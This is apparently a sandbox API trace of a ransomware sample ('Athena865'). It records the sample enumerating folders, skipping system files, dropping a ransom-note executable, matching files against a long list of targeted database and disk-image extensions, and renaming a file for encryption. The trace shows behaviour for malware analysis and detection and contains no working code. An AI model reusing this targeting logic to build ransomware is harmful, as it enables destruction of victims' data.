ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2=".") returned 1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="..") returned 1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="windows") returned -1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="bootmgr") returned 1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="temp") returned -1 [0092.666] lstrcmpiW (lpString1="Setup Files", lpString2="pagefile.sys") returned 1 [0092.667] lstrcmpiW (lpString1="Setup Files", lpString2="boot") returned 1 [0092.667] lstrcmpiW (lpString1="Setup Files", lpString2="ids.txt") returned 1 [0092.667] lstrcmpiW (lpString1="Setup Files", lpString2="ntuser.dat") returned 1 [0092.667] lstrcmpiW (lpString1="Setup Files", lpString2="perflogs") returned 1 [0092.667] lstrcmpiW (lpString1="Setup Files", lpString2="MSBuild") returned 1 [0092.667] lstrlenW (lpString="Setup Files") returned 11 [0092.667] lstrcpyW (in: lpString1=0x241e89a, lpString2="Setup Files" | out: lpString1="Setup Files") returned="Setup Files" [0092.667] lstrcatW (in: lpString1="Setup Files", lpString2="\\" | out: lpString1="Setup Files\\") returned="Setup Files\\" [0092.667] lstrcatW (in: lpString1="Setup Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Setup Files\\HOW TO BACK YOUR FILES.exe") returned="Setup Files\\HOW TO BACK YOUR FILES.exe" [0092.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.669] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="windows") returned -1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="bootmgr") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="temp") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="pagefile.sys") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="boot") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="ids.txt") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="ntuser.dat") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="perflogs") returned 1 [0092.669] lstrcmpiW (lpString1="Vigtigt.htm", lpString2="MSBuild") returned 1 [0092.669] lstrlenW (lpString="Vigtigt.htm") returned 11 [0092.670] lstrcpyW (in: lpString1=0x241e89a, lpString2="Vigtigt.htm" | out: lpString1="Vigtigt.htm") returned="Vigtigt.htm" [0092.670] lstrlenW (lpString="Vigtigt.htm") returned 11 [0092.670] lstrlenW (lpString="Athena865") returned 9 [0092.670] lstrcmpiW (lpString1="gtigt.htm", lpString2="Athena865") returned 1 [0092.670] lstrlenW (lpString=".dll") returned 4 [0092.670] lstrcmpiW (lpString1="Vigtigt.htm", lpString2=".dll") returned 1 [0092.670] lstrlenW (lpString=".lnk") returned 4 [0092.670] lstrcmpiW (lpString1="Vigtigt.htm", lpString2=".lnk") returned 1 [0092.670] lstrlenW (lpString=".ini") returned 4 [0092.670] lstrcmpiW (lpString1="Vigtigt.htm", lpString2=".ini") returned 1 [0092.670] lstrlenW (lpString=".sys") returned 4 [0092.670] lstrcmpiW (lpString1="Vigtigt.htm", lpString2=".sys") returned 1 [0092.670] lstrlenW (lpString="Vigtigt.htm") returned 11 [0092.670] lstrlenW (lpString="bak") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.670] lstrlenW (lpString="ba_") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.670] lstrlenW (lpString="dbb") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.670] lstrlenW (lpString="vmdk") returned 4 [0092.670] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.670] lstrlenW (lpString="rar") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.670] lstrlenW (lpString="zip") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.670] lstrlenW (lpString="tgz") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.670] lstrlenW (lpString="vbox") returned 4 [0092.670] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.670] lstrlenW (lpString="vdi") returned 3 [0092.670] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.671] lstrlenW (lpString="vhd") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.671] lstrlenW (lpString="vhdx") returned 4 [0092.671] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.671] lstrlenW (lpString="avhd") returned 4 [0092.671] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.671] lstrlenW (lpString="db") returned 2 [0092.671] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.671] lstrlenW (lpString="db2") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.671] lstrlenW (lpString="db3") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.671] lstrlenW (lpString="dbf") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.671] lstrlenW (lpString="mdf") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.671] lstrlenW (lpString="mdb") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.671] lstrlenW (lpString="sql") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.671] lstrlenW (lpString="sqlite") returned 6 [0092.671] lstrcmpiW (lpString1="gt.htm", lpString2="sqlite") returned -1 [0092.671] lstrlenW (lpString="sqlite3") returned 7 [0092.671] lstrcmpiW (lpString1="igt.htm", lpString2="sqlite3") returned -1 [0092.671] lstrlenW (lpString="sqlitedb") returned 8 [0092.671] lstrcmpiW (lpString1="tigt.htm", lpString2="sqlitedb") returned 1 [0092.671] lstrlenW (lpString="xml") returned 3 [0092.671] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.671] lstrlenW (lpString="$er") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.672] lstrlenW (lpString="4dd") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.672] lstrlenW (lpString="4dl") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.672] lstrlenW (lpString="^^^") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.672] lstrlenW (lpString="abs") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.672] lstrlenW (lpString="abx") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.672] lstrlenW (lpString="accdb") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accdb") returned 1 [0092.672] lstrlenW (lpString="accdc") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accdc") returned 1 [0092.672] lstrlenW (lpString="accde") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accde") returned 1 [0092.672] lstrlenW (lpString="accdr") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accdr") returned 1 [0092.672] lstrlenW (lpString="accdt") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accdt") returned 1 [0092.672] lstrlenW (lpString="accdw") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accdw") returned 1 [0092.672] lstrlenW (lpString="accft") returned 5 [0092.672] lstrcmpiW (lpString1="t.htm", lpString2="accft") returned 1 [0092.672] lstrlenW (lpString="adb") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.672] lstrlenW (lpString="adb") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.672] lstrlenW (lpString="ade") returned 3 [0092.672] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.673] lstrlenW (lpString="adf") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.673] lstrlenW (lpString="adn") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.673] lstrlenW (lpString="adp") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.673] lstrlenW (lpString="alf") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.673] lstrlenW (lpString="ask") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.673] lstrlenW (lpString="btr") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.673] lstrlenW (lpString="cat") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.673] lstrlenW (lpString="cdb") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.673] lstrlenW (lpString="ckp") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.673] lstrlenW (lpString="cma") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.673] lstrlenW (lpString="cpd") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.673] lstrlenW (lpString="dacpac") returned 6 [0092.673] lstrcmpiW (lpString1="gt.htm", lpString2="dacpac") returned 1 [0092.673] lstrlenW (lpString="dad") returned 3 [0092.673] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.673] lstrlenW (lpString="dadiagrams") returned 10 [0092.673] lstrcmpiW (lpString1="igtigt.htm", lpString2="dadiagrams") returned 1 [0092.673] lstrlenW (lpString="daschema") returned 8 [0092.673] lstrcmpiW (lpString1="tigt.htm", lpString2="daschema") returned 1 [0092.673] lstrlenW (lpString="db-journal") returned 10 [0092.674] lstrcmpiW (lpString1="igtigt.htm", lpString2="db-journal") returned 1 [0092.674] lstrlenW (lpString="db-shm") returned 6 [0092.674] lstrcmpiW (lpString1="gt.htm", lpString2="db-shm") returned 1 [0092.674] lstrlenW (lpString="db-wal") returned 6 [0092.674] lstrcmpiW (lpString1="gt.htm", lpString2="db-wal") returned 1 [0092.674] lstrlenW (lpString="dbc") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.674] lstrlenW (lpString="dbs") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.674] lstrlenW (lpString="dbt") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.674] lstrlenW (lpString="dbv") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.674] lstrlenW (lpString="dbx") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.674] lstrlenW (lpString="dcb") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.674] lstrlenW (lpString="dct") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.674] lstrlenW (lpString="dcx") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.674] lstrlenW (lpString="ddl") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.674] lstrlenW (lpString="dlis") returned 4 [0092.674] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.674] lstrlenW (lpString="dp1") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.674] lstrlenW (lpString="dqy") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.674] lstrlenW (lpString="dsk") returned 3 [0092.674] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.675] lstrlenW (lpString="dsn") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.675] lstrlenW (lpString="dtsx") returned 4 [0092.675] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.675] lstrlenW (lpString="dxl") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.675] lstrlenW (lpString="eco") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.675] lstrlenW (lpString="ecx") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.675] lstrlenW (lpString="edb") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.675] lstrlenW (lpString="epim") returned 4 [0092.675] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.675] lstrlenW (lpString="fcd") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.675] lstrlenW (lpString="fdb") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.675] lstrlenW (lpString="fic") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.675] lstrlenW (lpString="flexolibrary") returned 12 [0092.675] lstrlenW (lpString="fm5") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.675] lstrlenW (lpString="fmp") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.675] lstrlenW (lpString="fmp12") returned 5 [0092.675] lstrcmpiW (lpString1="t.htm", lpString2="fmp12") returned 1 [0092.675] lstrlenW (lpString="fmpsl") returned 5 [0092.675] lstrcmpiW (lpString1="t.htm", lpString2="fmpsl") returned 1 [0092.675] lstrlenW (lpString="fol") returned 3 [0092.675] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.676] lstrlenW (lpString="fp3") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.676] lstrlenW (lpString="fp4") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.676] lstrlenW (lpString="fp5") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.676] lstrlenW (lpString="fp7") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.676] lstrlenW (lpString="fpt") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.676] lstrlenW (lpString="frm") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.676] lstrlenW (lpString="gdb") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.676] lstrlenW (lpString="gdb") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.676] lstrlenW (lpString="grdb") returned 4 [0092.676] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.676] lstrlenW (lpString="gwi") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.676] lstrlenW (lpString="hdb") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.676] lstrlenW (lpString="his") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.676] lstrlenW (lpString="ib") returned 2 [0092.676] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.676] lstrlenW (lpString="idb") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.676] lstrlenW (lpString="ihx") returned 3 [0092.676] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.676] lstrlenW (lpString="itdb") returned 4 [0092.677] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.677] lstrlenW (lpString="itw") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.677] lstrlenW (lpString="jet") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.677] lstrlenW (lpString="jtx") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.677] lstrlenW (lpString="kdb") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.677] lstrlenW (lpString="kexi") returned 4 [0092.677] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.677] lstrlenW (lpString="kexic") returned 5 [0092.677] lstrcmpiW (lpString1="t.htm", lpString2="kexic") returned 1 [0092.677] lstrlenW (lpString="kexis") returned 5 [0092.677] lstrcmpiW (lpString1="t.htm", lpString2="kexis") returned 1 [0092.677] lstrlenW (lpString="lgc") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.677] lstrlenW (lpString="lwx") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.677] lstrlenW (lpString="maf") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.677] lstrlenW (lpString="maq") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.677] lstrlenW (lpString="mar") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.677] lstrlenW (lpString="marshal") returned 7 [0092.677] lstrcmpiW (lpString1="igt.htm", lpString2="marshal") returned -1 [0092.677] lstrlenW (lpString="mas") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.677] lstrlenW (lpString="mav") returned 3 [0092.677] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.678] lstrlenW (lpString="maw") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.678] lstrlenW (lpString="mdbhtml") returned 7 [0092.678] lstrcmpiW (lpString1="igt.htm", lpString2="mdbhtml") returned -1 [0092.678] lstrlenW (lpString="mdn") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.678] lstrlenW (lpString="mdt") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.678] lstrlenW (lpString="mfd") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.678] lstrlenW (lpString="mpd") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.678] lstrlenW (lpString="mrg") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.678] lstrlenW (lpString="mud") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.678] lstrlenW (lpString="mwb") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.678] lstrlenW (lpString="myd") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.678] lstrlenW (lpString="ndf") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.678] lstrlenW (lpString="nnt") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.678] lstrlenW (lpString="nrmlib") returned 6 [0092.678] lstrcmpiW (lpString1="gt.htm", lpString2="nrmlib") returned -1 [0092.678] lstrlenW (lpString="ns2") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.678] lstrlenW (lpString="ns3") returned 3 [0092.678] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.678] lstrlenW (lpString="ns4") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.679] lstrlenW (lpString="nsf") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.679] lstrlenW (lpString="nv") returned 2 [0092.679] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.679] lstrlenW (lpString="nv2") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.679] lstrlenW (lpString="nwdb") returned 4 [0092.679] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.679] lstrlenW (lpString="nyf") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.679] lstrlenW (lpString="odb") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.679] lstrlenW (lpString="odb") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.679] lstrlenW (lpString="oqy") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.679] lstrlenW (lpString="ora") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.679] lstrlenW (lpString="orx") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.679] lstrlenW (lpString="owc") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.679] lstrlenW (lpString="p96") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.679] lstrlenW (lpString="p97") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.679] lstrlenW (lpString="pan") returned 3 [0092.679] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.679] lstrlenW (lpString="pdb") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.680] lstrlenW (lpString="pdm") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.680] lstrlenW (lpString="pnz") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.680] lstrlenW (lpString="qry") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.680] lstrlenW (lpString="qvd") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.680] lstrlenW (lpString="rbf") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.680] lstrlenW (lpString="rctd") returned 4 [0092.680] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.680] lstrlenW (lpString="rod") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.680] lstrlenW (lpString="rodx") returned 4 [0092.680] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.680] lstrlenW (lpString="rpd") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.680] lstrlenW (lpString="rsd") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.680] lstrlenW (lpString="sas7bdat") returned 8 [0092.680] lstrcmpiW (lpString1="tigt.htm", lpString2="sas7bdat") returned 1 [0092.680] lstrlenW (lpString="sbf") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.680] lstrlenW (lpString="scx") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.680] lstrlenW (lpString="sdb") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.680] lstrlenW (lpString="sdc") returned 3 [0092.680] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.681] lstrlenW (lpString="sdf") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.681] lstrlenW (lpString="sis") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.681] lstrlenW (lpString="spq") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.681] lstrlenW (lpString="te") returned 2 [0092.681] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.681] lstrlenW (lpString="teacher") returned 7 [0092.681] lstrcmpiW (lpString1="igt.htm", lpString2="teacher") returned -1 [0092.681] lstrlenW (lpString="tmd") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.681] lstrlenW (lpString="tps") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.681] lstrlenW (lpString="trc") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.681] lstrlenW (lpString="trc") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.681] lstrlenW (lpString="trm") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.681] lstrlenW (lpString="udb") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.681] lstrlenW (lpString="udl") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.681] lstrlenW (lpString="usr") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.681] lstrlenW (lpString="v12") returned 3 [0092.681] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.681] lstrlenW (lpString="vis") returned 3 [0092.683] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.685] lstrlenW (lpString="vpd") returned 3 [0092.685] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.686] lstrlenW (lpString="vvv") returned 3 [0092.686] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.686] lstrlenW (lpString="wdb") returned 3 [0092.686] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.686] lstrlenW (lpString="wmdb") returned 4 [0092.686] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.686] lstrlenW (lpString="wrk") returned 3 [0092.686] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.686] lstrlenW (lpString="xdb") returned 3 [0092.686] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.686] lstrlenW (lpString="xld") returned 3 [0092.686] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.686] lstrlenW (lpString="xmlff") returned 5 [0092.686] lstrcmpiW (lpString1="t.htm", lpString2="xmlff") returned -1 [0092.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.Athena865") returned 62 [0092.686] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm.athena865"), dwFlags=0x1) returned 1 [0092.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.687] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16833) returned 1 [0092.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 